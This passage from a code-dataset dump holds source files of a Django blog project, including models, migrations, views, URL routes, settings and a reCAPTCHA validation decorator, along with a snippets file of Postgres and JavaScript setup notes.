false, "is_vendor": false, "language": "Python", "length_bytes": 607, "license_type": "no_license", "max_line_length": 80, "num_lines": 24, "path": "/apps/sponsor/migrations/0005_auto_20180911_1215.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-11 12:15\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sponsor', '0004_auto_20180910_1934'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='company',\n name='created',\n field=models.DateTimeField(auto_now_add=True, default='2018-01-01'),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='company',\n name='updated',\n field=models.DateTimeField(auto_now=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6705968976020813, "alphanum_fraction": 0.6728076934814453, "avg_line_length": 29.177778244018555, "blob_id": "39fc0faf3e200da3556b0d82f2024f74b2bd1054", "content_id": "f728dd16736aef03276b36e7aecd0c3f48e0a14d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1357, "license_type": "no_license", "max_line_length": 83, "num_lines": 45, "path": "/snippets.md", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "### reset postgres sequences\nblog_article\nSELECT setval('blog_article_id_seq', (SELECT MAX(id) FROM blog_article)+1);\n\ngild_member\nSELECT setval('gild_member_id_seq', (SELECT MAX(id) FROM gild_member)+1);\n\n### blog_tag\nSELECT setval('blog_tag_id_seq', (SELECT MAX(id) FROM blog_tag)+1);\n\n### index for tsvector field in blog_article table\nCREATE TRIGGER article_tsvector_update BEFORE INSERT OR UPDATE\nON blog_article FOR EACH ROW EXECUTE PROCEDURE\narticle_tsvector_update_trigger(tsv, 'pg_catalog.italian', title, content);\n\n\n### js\n<!-- UIKIT -->\n<script src=\"{% static 'js/uikit.min.js' %}\"></script>\n\n<!-- LODASH -->\n<script src=\"{% static 'js/lodash.min.js' %}\"></script>\n\n<!-- VUE RELATED JS FILES -->\n<script src=\"{% static 'js/vue.min.js' %}\"></script>\n<script src=\"{% static 'js/vuex.min.js' %}\"></script>\n<script src=\"{% static 'js/axios.min.js' %}\"></script>\n<script src=\"{% static 'js/cookies.min.js' %}\"></script>\n\n<!-- AXIOS CONFIGURE OPTIONS -->\n<script type=\"text/javascript\">\n\n // set some headers needed in django environment\n axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';\n axios.defaults.headers.common['X-CSRFToken'] = docCookies.getItem('csrftoken');\n\n</script>\n\n<!-- VUE CONFIGURE OPTIONS -->\n<script type=\"text/javascript\">\n\n // GENERAL OPTIONS\n Vue.options.delimiters = ['{(', ')}'];\n\n</script>" }, { "alpha_fraction": 0.5721769332885742, "alphanum_fraction": 0.5721769332885742, "avg_line_length": 28.13559341430664, "blob_id": "6547dc81c0d9df0280a9080354efc901c852f6c7", "content_id": "9d2079f2b328509281a5521afa12a093999f80b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1718, "license_type": "no_license", "max_line_length": 73, "num_lines": 59, "path": "/apps/common/decorators.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import json\nimport urllib.request\nimport urllib.parse\nfrom functools import wraps\nfrom django.conf import settings\nfrom django.template import RequestContext\n\ndef check_recaptcha(post_fn):\n \n @wraps(post_fn)\n def _wrapped_view(self, request, *args, **kwargs):\n \n # get form\n form = self.get_form()\n\n # init var\n request.recaptcha_is_valid = None\n\n # if form is valid\n if form.is_valid():\n \n # captcha validation\n url = 'https://www.google.com/recaptcha/api/siteverify'\n values = {\n 'secret' : settings.GOOGLE_RECAPTCHA_SECRET_KEY,\n 'response': self.request.POST.get('g-recaptcha-response')\n }\n data = urllib.parse.urlencode(values).encode()\n req = urllib.request.Request(url, data=data)\n response = urllib.request.urlopen(req)\n result = json.loads(response.read().decode())\n \n # captcha result\n if result['success']: request.recaptcha_is_valid = True\n else: request.recaptcha_is_valid = False\n \n # return function\n return post_fn(self, request, *args, **kwargs)\n \n # return wrapper\n return _wrapped_view\n\n\ndef search( get_context_data_fn):\n\n @wraps(get_context_data_fn)\n def _wrapped_view(self, **kwargs):\n \n # add search\n search = self.request.GET.get('search')\n if search: \n kwargs['search'] = search\n kwargs['search_querystring'] = \"?search={}\".format(search)\n \n # return function\n return get_context_data_fn(self, **kwargs)\n \n # return wrapper\n return _wrapped_view" }, { "alpha_fraction": 0.4804469347000122, "alphanum_fraction": 0.5642458200454712, "avg_line_length": 18.88888931274414, "blob_id": "6cd7d68571a50524fd51e910324046117dc43ccf", "content_id": "435f9d56b86f91546510a6082c01afa74c3f5d19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 358, "license_type": "no_license", "max_line_length": 45, "num_lines": 18, "path": "/apps/blog/migrations/0006_auto_20180906_1913.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-06 19:13\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0005_auto_20180906_1912'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='article',\n old_name='tsvector',\n new_name='tsv',\n ),\n ]\n" }, { "alpha_fraction": 0.7053139805793762, "alphanum_fraction": 0.7053139805793762, "avg_line_length": 17.81818199157715, "blob_id": "f0dc351d55913aea7c81f2e56c80166019bab097", "content_id": "e6f5e1d7f1e656a1f001fa68c9e4cda2f8cbe13b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 207, "license_type": "no_license", "max_line_length": 49, "num_lines": 11, "path": "/config/settings.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from decouple import config\n\nSECRET_KEY = config('SECRET_KEY')\n\n# SET DEBUG\nDEBUG = config('DEBUG', default=False, cast=bool)\n\nif DEBUG:\n from .development import *\nelse:\n from .production_do import *\n" }, { "alpha_fraction": 0.4781849980354309, "alphanum_fraction": 0.49389180541038513, "avg_line_length": 24.727272033691406, "blob_id": "9aa93c916870819280ceac2753bbc96f3fc2a7ec", "content_id": "9372eaf034eff05182b0dec3228c5149bcd0f7da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 573, "license_type": "no_license", "max_line_length": 66, "num_lines": 22, "path": "/apps/sponsor/models.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom apps.common.models import TimeStampedModel\n\n# ----------------------------------------------------------------\n# MODELS\n# ----------------------------------------------------------------\n\nclass Company(TimeStampedModel):\n\n # fields\n name = models.CharField(max_length=100, unique=True)\n link = models.URLField(max_length=500)\n teaser = models.URLField(max_length=500)\n rank = models.IntegerField()\n\n # meta\n class Meta:\n ordering = ('rank',)\n\n # str\n def __str__(self):\n return self.name \n " }, { "alpha_fraction": 0.593367338180542, "alphanum_fraction": 0.5966836810112, "avg_line_length": 34.00893020629883, "blob_id": "33200b7fd654ad6be67063c9c338416e4f908a76", "content_id": "f45d5d0ea458b03cb0b210812a23858673432621", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3920, "license_type": "no_license", "max_line_length": 130, "num_lines": 112, "path": "/apps/blog/models.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.urls import reverse_lazy, reverse\nfrom django.utils.text import slugify\nfrom django.db.models import Max\nfrom django.contrib.postgres.search import SearchVectorField\nfrom django.contrib.postgres.indexes import GinIndex\n\nfrom django.contrib.auth.models import User\nfrom apps.common.models import TimeStampedModel\nfrom apps.common.functions import expire_view_cache\n\n# ----------------------------------------------------------------\n# MANAGERS\n# ----------------------------------------------------------------\n\nclass ArticleManager(models.Manager):\n\n def get_size(self, **kwargs):\n size = kwargs['size'] if 'size' in kwargs else 6\n return size\n \n def get_most_recent_authors(self, **kwargs):\n return self.values('author', 'author__username').annotate(date=Max('created')).order_by('-date')[:self.get_size(**kwargs)]\n \n def get_most_recent_articles(self, **kwargs):\n return self.prefetch_related('author', 'tag').order_by('-created','title')[:self.get_size(**kwargs)]\n\n def get_articles_with_most_hits(self, **kwargs):\n return self.prefetch_related('author', 'tag').order_by('-hits')[:self.get_size(**kwargs)]\n \n def get_sticky_articles(self, **kwargs):\n return self.filter(isSticky=True)[:self.get_size(**kwargs)]\n \n def get_most_recent_articles_from_same_author(self, **kwargs):\n return self.order_by('-created','title').filter(author= kwargs['author'])[1:self.get_size(**kwargs)+1]\n \n def get_most_recents_articles_with_same_tag(self, **kwargs):\n return self.order_by('-created','title').filter(tag__in = kwargs['tag'])[:self.get_size(**kwargs)]\n\n# ----------------------------------------------------------------\n# MODELS\n# ----------------------------------------------------------------\n\nclass Tag(models.Model):\n \n # fields\n name = models.CharField(max_length=100, unique=True)\n\n # meta\n class Meta:\n ordering = ('name',)\n\n # str\n def __str__(self):\n return self.name\n\nclass Article(TimeStampedModel):\n \n # relations\n author = models.ForeignKey(User, on_delete = models.CASCADE)\n tag = models.ManyToManyField(Tag) \n\n # fields\n title = models.CharField('titolo', max_length = 250)\n content = models.TextField('contenuto')\n teaser = models.CharField('url immagine di copertina', max_length = 250, null=True, blank=True)\n isDraft = models.BooleanField(default=True)\n isApproved = models.BooleanField(default=False)\n isSticky = models.BooleanField('In evidenza', default=False)\n hits = models.IntegerField(default=0)\n tsv = SearchVectorField(null=True)\n\n # manager\n objects = ArticleManager()\n\n # computed field\n @property\n def slug(self):\n return slugify(self.title)\n\n @property\n def author_full_name(self):\n if self.author.first_name: return \"{} {}\".format(self.author.first_name, self.author.last_name, )\n elif self.author.last_name: return self.author.last_name\n else: return self.author\n \n # get_absolute_url\n def get_absolute_url(self):\n return reverse_lazy('blog:article-view', kwargs={ 'pk': self.pk, 'slug': self.slug })\n\n # meta\n class Meta:\n indexes = [\n GinIndex(fields=['tsv'])\n ]\n \n # str\n def __str__(self):\n return self.title\n\n def save(self, *args, **kwargs):\n # if article is being created\n if self._state.adding:\n # bust cache\n expire_view_cache(reverse('forefront:index'))\n expire_view_cache(reverse('blog:article-list'))\n else:\n # bust cache\n expire_view_cache(reverse('blog:article-list'))\n expire_view_cache(reverse('blog:article-view', kwargs={ 'pk': self.pk, 'slug': self.slug }))\n # call super\n super(Article, self).save(*args, **kwargs)" }, { "alpha_fraction": 0.6736401915550232, "alphanum_fraction": 0.6736401915550232, "avg_line_length": 25.66666603088379, "blob_id": "13246b1cc34a168719239028750fe25684ba6f1e", "content_id": "1e8467ca11acdb10358b6cd59582b4449eb9c592", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 239, "license_type": "no_license", "max_line_length": 84, "num_lines": 9, "path": "/apps/sponsor/urls.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\napp_name = 'sponsor'\n\nurlpatterns = [\n path('', views.Company_List.as_view(), name=\"company-list\"),\n path('page/<int:page>', views.Company_List.as_view(), name=\"company-list-page\"),\n]" }, { "alpha_fraction": 0.6064593195915222, "alphanum_fraction": 0.6106459498405457, "avg_line_length": 29.962963104248047, "blob_id": "98bd8956c75db971d8a45d22e762c0d3bcdec9f0", "content_id": "fc02a60f453540ae795831a6c5ebeba358cbbc81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1672, "license_type": "no_license", "max_line_length": 75, "num_lines": 54, "path": "/apps/common/functions.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "def expire_view_cache(path, key_prefix=None):\n \n # imports\n from django.conf import settings\n from django.contrib.sites.models import Site\n from django.core.cache import cache\n from django.http import HttpRequest\n from django.utils.cache import get_cache_key\n\n # get domain part\n domain_parts = Site.objects.get_current().domain.split(':')\n request_meta = {'SERVER_NAME': domain_parts[0],}\n if len(domain_parts) > 1: request_meta['SERVER_PORT'] = domain_parts[1]\n else: request_meta['SERVER_PORT'] = '80'\n \n # create a request object\n request = HttpRequest()\n request.method = 'GET'\n request.META = request_meta\n request.path = path\n request.LANGUAGE_CODE = settings.LANGUAGE_CODE\n \n # try\n try:\n # try to get cache key\n cache_key = get_cache_key(request=request, key_prefix=key_prefix)\n # if key is properly formed\n if cache_key:\n # if key is present in cache\n if cache.has_key(cache_key):\n # delete key\n cache.delete(cache_key)\n return (True, 'Successfully invalidated')\n else:\n return (False, 'Cache_key does not exist in cache')\n else:\n raise ValueError('Failed to create cache_key')\n \n # except\n except (ValueError, Exception) as e:\n return (False, e)\n\ndef get_cleaned_path(path, **kwargs):\n\n # imports\n from django.shortcuts import reverse\n \n # prepare cleaned path\n cleanedPath = reverse(path, **kwargs)\n if cleanedPath[-1] == '/': \n cleanedPath = cleanedPath[:-1]\n \n # return cleaned path\n return cleanedPath\n" }, { "alpha_fraction": 0.7634408473968506, "alphanum_fraction": 0.7634408473968506, "avg_line_length": 17.600000381469727, "blob_id": "07b3c836acfaef7f2e88e74945ec1cb16694c118", "content_id": "909c15d18591260c5b069924b285e98adb845705", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 93, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/apps/forefront/apps.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass ForefrontConfig(AppConfig):\n name = 'forefront'\n" }, { "alpha_fraction": 0.6829268336296082, "alphanum_fraction": 0.6889093518257141, "avg_line_length": 27.220779418945312, "blob_id": "dd3de4d3df52a894804aa4d328bb9188e15cc556", "content_id": "b3a422bc2f6162f3df514ed688172cb2835c8959", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2173, "license_type": "no_license", "max_line_length": 65, "num_lines": 77, "path": "/config/development.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import os\nfrom decouple import config\nfrom pathlib import Path\n\nfrom .base import *\n\n# site ID\nSITE_ID = 1\n\n# ALLOWED HOSTS\nALLOWED_HOSTS = [\n 'localhost',\n '127.0.0.1'\n]\n\n# DEBUG TOOLBAR\nINTERNAL_IPS = ('127.0.0.1', 'localhost',)\nINSTALLED_APPS += ( 'debug_toolbar',)\nDEBUG_TOOLBAR_PANELS = [ \n 'debug_toolbar.panels.versions.VersionsPanel',\n 'debug_toolbar.panels.timer.TimerPanel',\n 'debug_toolbar.panels.settings.SettingsPanel',\n 'debug_toolbar.panels.headers.HeadersPanel',\n 'debug_toolbar.panels.request.RequestPanel',\n 'debug_toolbar.panels.sql.SQLPanel',\n 'debug_toolbar.panels.staticfiles.StaticFilesPanel',\n 'debug_toolbar.panels.templates.TemplatesPanel',\n 'debug_toolbar.panels.cache.CachePanel',\n 'debug_toolbar.panels.signals.SignalsPanel',\n 'debug_toolbar.panels.logging.LoggingPanel',\n 'debug_toolbar.panels.redirects.RedirectsPanel',\n]\nDEBUG_TOOLBAR_CONFIG = { 'INTERCEPT_REDIRECTS': False, }\n\n# MIDDLEWARE \nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n]\n\n# DATABASE SETTINGS\nDATABASES = {\n 'default': {\n 'ENGINE' : 'django.db.backends.postgresql',\n 'HOST' : config('DEV_DB_HOST'),\n 'PORT' : config('DEV_DB_PORT'),\n 'NAME' : config('DEV_DB_NAME'),\n 'USER' : config('DEV_DB_USER'),\n 'PASSWORD' : config('DEV_DB_PASSWORD')\n }\n}\n\n# CACHE\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.dummy.DummyCache',\n }\n}\n\n# STATIC\nSTATIC_URL = '/static/'\nSTATIC_ROOT = os.path.join(BASE_DIR, 'static')\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, 'apps/assets/')\n]\n\n# MEDIA\nMEDIA_URL = '/media/'\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media/')\n\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n" }, { "alpha_fraction": 0.4553440809249878, "alphanum_fraction": 0.4553440809249878, "avg_line_length": 39.871795654296875, "blob_id": "883a0c0ff76275859e08914c11f42489a38c8b5c", "content_id": "d1d6403df6bdf6fbaa3aaaf24ca17e233cb12473", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4781, "license_type": "no_license", "max_line_length": 151, "num_lines": 117, "path": "/apps/account/views.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.contrib.auth.views import LoginView\nfrom django.views.generic import DetailView\nfrom django.views.generic.edit import FormView\nfrom django.urls import reverse_lazy\nfrom django.shortcuts import redirect\nfrom django.contrib.auth.views import PasswordResetView, PasswordResetConfirmView, PasswordResetDoneView, PasswordResetCompleteView, PasswordChangeView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib import messages\n\nfrom django.contrib.auth.models import Group, User\nfrom . import forms\n\nclass Account_Register(FormView):\n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'account/register.html'\n form_class = forms.MySignupForm\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def form_valid(self, form):\n # create user\n form.save()\n # return super\n return super().form_valid(form)\n \n def get_success_url(self):\n\t return reverse_lazy('forefront:index')\n\nclass Account_Login(LoginView):\n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'account/login.html'\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def dispatch(self, *args, **kwargs):\n # redirect logged in user to his account\n if self.request.user.is_authenticated: return redirect(self.get_success_url())\n # call super\n return super(Account_Login, self).dispatch(*args, **kwargs)\n\n def get_success_url(self):\n return reverse_lazy('account:dashboard', kwargs={\"pk\": self.request.user.id})\n\nclass Account_Dashboard(LoginRequiredMixin, DetailView):\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'account/dashboard.html'\n model = User\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Account_Dashboard, self).get_context_data(**kwargs)\n # add user groups to context\n ctx['user_groups'] = self.request.user.groups.values_list('name', flat=True)\n # return context\n return ctx\n\nclass Account_Password_Change(LoginRequiredMixin, PasswordChangeView):\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'account/password-change.html'\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_success_url(self):\n return reverse_lazy('account:dashboard', kwargs={\"pk\": self.request.user.id})\n\n def form_valid(self, form):\n # add flash\n messages.success(self.request, \"Password cambiata correttamente.\")\n # return super\n return super(Account_Password_Change, self).form_valid(form)\n\nclass Account_Password_Reset(PasswordResetView):\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'account/password-reset.html'\n email_template_name = 'account/password-reset-email.html'\n success_url = reverse_lazy('account:password-reset-done')\n\nclass Account_Password_Reset_Confirm(PasswordResetConfirmView):\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'account/password-reset-confirm.html'\n success_url = reverse_lazy('account:password-reset-complete')\n\nclass Account_Password_Reset_Done(PasswordResetDoneView):\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'account/password-reset-done.html'\n\nclass Account_Password_Reset_Complete(PasswordResetCompleteView):\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'account/password-reset-complete.html'" }, { "alpha_fraction": 0.6845278143882751, "alphanum_fraction": 0.6845278143882751, "avg_line_length": 63.956520080566406, "blob_id": "efba2161d165f31cba6a8f29a1a8cef4a3472c96", "content_id": "95beae677162a2bd11ecd3f7f57c9044a24380b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1493, "license_type": "no_license", "max_line_length": 136, "num_lines": 23, "path": "/apps/blog/urls.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom django.views.decorators.cache import cache_page\n\nfrom . import views\n\napp_name = 'blog'\n\nurlpatterns = [\n path('', views.Article_List.as_view(), name=\"article-list\"),\n path('page/<int:page>', views.Article_List.as_view(), name=\"article-list-page\"),\n path('tag/<str:tag>', views.Tag_Article_List.as_view(), name=\"tag-article-list\"),\n path('tag/<str:tag>/page/<int:page>', views.Tag_Article_List.as_view(), name=\"article-tag-list-page\"),\n path('tag', views.Tag_List.as_view(), name=\"tag-list\"),\n path('tag/page/<int:page>', views.Tag_List.as_view(), name=\"tag-list-page\"),\n path('author/<int:author>/type/<str:type>', views.Author_Article_List.as_view(), name=\"author-article-list\"),\n path('author/<int:author>/type/<str:type>/page/<int:page>', views.Author_Article_List.as_view(), name=\"author-article-list-page\"),\n path('author/to-be-approved', views.To_Be_Approved_Article_List.as_view(), name=\"to-be-approved-article-list\"),\n path('author/to-be-approved/page/<int:page>', views.To_Be_Approved_Article_List.as_view(), name=\"to-be-approved-article-list-page\"),\n path('article/view/<int:pk>/<slug:slug>', views.Article_Detail.as_view(), name=\"article-view\"),\n path('article/create/', views.Article_Create.as_view(), name=\"article-create\"),\n path('article/update/<int:pk>', views.Article_Update.as_view(), name=\"article-update\"),\n path('article/delete/<int:pk>', views.Article_Delete.as_view(), name=\"article-delete\")\n]" }, { "alpha_fraction": 0.518433153629303, "alphanum_fraction": 0.5668202638626099, "avg_line_length": 27, "blob_id": "d521d33b5cdf159c141cdd0fac197fbd66ff12d3", "content_id": "54ab2a313501bbfbeb3d85fbd0b8e9f2c93df3e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 868, "license_type": "no_license", "max_line_length": 98, "num_lines": 31, "path": "/apps/gild/migrations/0003_auto_20180912_0812.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-12 08:12\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('gild', '0002_auto_20180907_1221'),\n ]\n\n operations = [\n migrations.RemoveIndex(\n model_name='member',\n name='gild_member_locatio_c05128_idx',\n ),\n migrations.RemoveField(\n model_name='member',\n name='location',\n ),\n migrations.AddField(\n model_name='member',\n name='affiliation',\n field=models.CharField(default='Medico', max_length=250, verbose_name='Affiliazione'),\n preserve_default=False,\n ),\n migrations.AddIndex(\n model_name='member',\n index=models.Index(fields=['affiliation'], name='gild_member_affilia_1376ab_idx'),\n ),\n ]\n" }, { "alpha_fraction": 0.5221238732337952, "alphanum_fraction": 0.5752212405204773, "avg_line_length": 18.941177368164062, "blob_id": "6704d4ec98352d9d885f57690eee3a1e093633c4", "content_id": "8f3c51af13cc05e9eac7ca550406f3bc7d7735ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 339, "license_type": "no_license", "max_line_length": 45, "num_lines": 17, "path": "/apps/sponsor/migrations/0007_auto_20180912_0812.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-12 08:12\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sponsor', '0006_company_rank'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='company',\n options={'ordering': ('rank',)},\n ),\n ]\n" }, { "alpha_fraction": 0.5617977380752563, "alphanum_fraction": 0.6292135119438171, "avg_line_length": 22.421052932739258, "blob_id": "fa61958c4caea3aa51519db955ee01198b5bfb06", "content_id": "dc7cf009404ba16ce110058dd30e176802f339a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 445, "license_type": "no_license", "max_line_length": 78, "num_lines": 19, "path": "/apps/blog/migrations/0004_article_search_vector.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-06 18:58\n\nimport django.contrib.postgres.search\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0003_auto_20180906_0725'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='article',\n name='search_vector',\n field=django.contrib.postgres.search.SearchVectorField(null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.67136150598526, "alphanum_fraction": 0.7065727710723877, "avg_line_length": 34.58333206176758, "blob_id": "cf3bb429288d32e7bf571ccc067be46e0a4ee7c1", "content_id": "bb608840ecff5e5d516f95d5568a01226659c279", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 426, "license_type": "no_license", "max_line_length": 102, "num_lines": 12, "path": "/apps/forefront/urls.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.views.decorators.cache import cache_page\n\nfrom django.urls import path\nfrom . import views\n\napp_name = 'forefront'\n\nurlpatterns = [\n path('', cache_page(30*30*3)(views.ForeFront_Index.as_view()), name=\"index\"),\n path('services', cache_page(30*30*3)(views.ForeFront_Services.as_view()), name=\"services\"),\n path('cookie-consent', cache_page(30*30*3)(views.Cookie_Consent.as_view()), name=\"cookie-consent\")\n]" }, { "alpha_fraction": 0.6002401113510132, "alphanum_fraction": 0.6146458387374878, "avg_line_length": 29.851852416992188, "blob_id": "e96d62ed971acd522303e170ec6f681e16e733ea", "content_id": "2223e846b41edc50e76dacbe3da2e733db2bb72b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 833, "license_type": "no_license", "max_line_length": 69, "num_lines": 27, "path": "/apps/gild/models.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.db import models\n\nfrom apps.common.models import TimeStampedModel\nfrom django.contrib.postgres.indexes import Index\n\nclass Member(TimeStampedModel):\n\n # fields\n first_name = models.CharField('Nome',max_length=250)\n last_name = models.CharField('Cognome',max_length=250)\n job = models.CharField('Specializzazione',max_length=250)\n affiliation = models.CharField('Affiliazione', max_length=250)\n since = models.DateField('Membro dal (GG/MM/AAAA)')\n\n # meta\n class Meta:\n ordering = ('last_name',)\n indexes = [\n Index(fields=['last_name']),\n Index(fields=['first_name']),\n Index(fields=['job']),\n Index(fields=['affiliation'])\n ]\n\n # str\n def __str__(self):\n return self.last_name + \" \" + self.first_name\n" }, { "alpha_fraction": 0.5323943495750427, "alphanum_fraction": 0.5568075180053711, "avg_line_length": 34.5, "blob_id": "c7e8c06df24e64f9fa1f8e94ca680f31bb1367ac", "content_id": "25746484e0696a51c3a6ebdcb998aef3dad00010", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1065, "license_type": "no_license", "max_line_length": 114, "num_lines": 30, "path": "/apps/gild/migrations/0001_initial.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-06 10:21\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Member',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('updated', models.DateTimeField(auto_now=True)),\n ('first_name', models.CharField(max_length=250, verbose_name='Cognome')),\n ('last_name', models.CharField(max_length=250, verbose_name='Nome')),\n ('job', models.CharField(max_length=250, verbose_name='Specializzazione')),\n ('location', models.CharField(max_length=250, verbose_name='Geo')),\n ('since', models.DateField(verbose_name='Membro dal')),\n ],\n options={\n 'ordering': ('last_name',),\n },\n ),\n ]\n" }, { "alpha_fraction": 0.3964194357395172, "alphanum_fraction": 0.3964194357395172, "avg_line_length": 31.66666603088379, "blob_id": "e76337f777a66a7b5b0f43e2f3c9bb06ebe4312f", "content_id": "4c271cb02924d54fb83b82caffa153e072a670ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 391, "license_type": "no_license", "max_line_length": 78, "num_lines": 12, "path": "/apps/gild/forms.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.forms import ModelForm\n\nfrom .models import Member\n\n# ----------------------------------------------------------------------------\n# FORMS \n# ----------------------------------------------------------------------------\nclass Member_Create_Update_Form(ModelForm):\n\n class Meta:\n model = Member\n fields = ['last_name', 'first_name', 'job', 'affiliation', 'since']" }, { "alpha_fraction": 0.517241358757019, "alphanum_fraction": 0.5736677050590515, "avg_line_length": 17.764705657958984, "blob_id": "a290aabfc4a6b826c9ef7e93d8ef6f8d3650fd9d", "content_id": "d913fa7a14594952611023283224d7694f557e07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 319, "license_type": "no_license", "max_line_length": 45, "num_lines": 17, "path": "/apps/sponsor/migrations/0002_auto_20180910_1927.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-10 19:27\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sponsor', '0001_initial'),\n ]\n\n operations = [\n migrations.RenameModel(\n old_name='Sponsor',\n new_name='Company',\n ),\n ]\n" }, { "alpha_fraction": 0.4844000041484833, "alphanum_fraction": 0.4943999946117401, "avg_line_length": 44.47272872924805, "blob_id": "714885c344030b0f04809150fb779139228e1ff9", 